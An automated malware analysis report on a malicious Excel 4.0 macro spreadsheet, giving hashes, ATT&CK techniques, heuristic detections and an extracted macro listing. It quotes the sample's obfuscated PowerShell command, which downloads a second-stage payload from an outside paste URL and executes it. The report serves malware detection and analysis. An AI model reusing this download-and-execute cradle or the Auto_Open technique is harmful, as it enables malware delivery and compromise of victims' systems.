Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 e3e9ec3c78971e88…

MALICIOUS

Office (OLE) / .XLS

39.0 KB Created: 2019-10-22 07:10:34 Authoring application: Microsoft Excel
MD5: 69544579d4a9498c3cd2b9c9aea28ef2 SHA-1: a306c59cd211d8b7bd85e47106d35aba7958c803 SHA-256: e3e9ec3c78971e8899852421651eafa00ab2cc04a2f11022bde16b4c6628a771
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1059.005 Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that leverages an Auto_Open macro to execute a command. The macro reconstructs the string "powershell -Command " and concatenates it with content from Sheet!A9590, which is likely intended to be the URL. The DOC BODY explicitly shows the command "IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/O1pw3')", indicating the script's intent to download and execute a second-stage payload from the provided URL. The heuristic firings confirm the presence of XLM macros and the use of dangerous functions like RUN.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
94dfeeefbd9ec701a5466d8ffeca07dd8ac428cd9c9281bfbf46873d137f5733		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.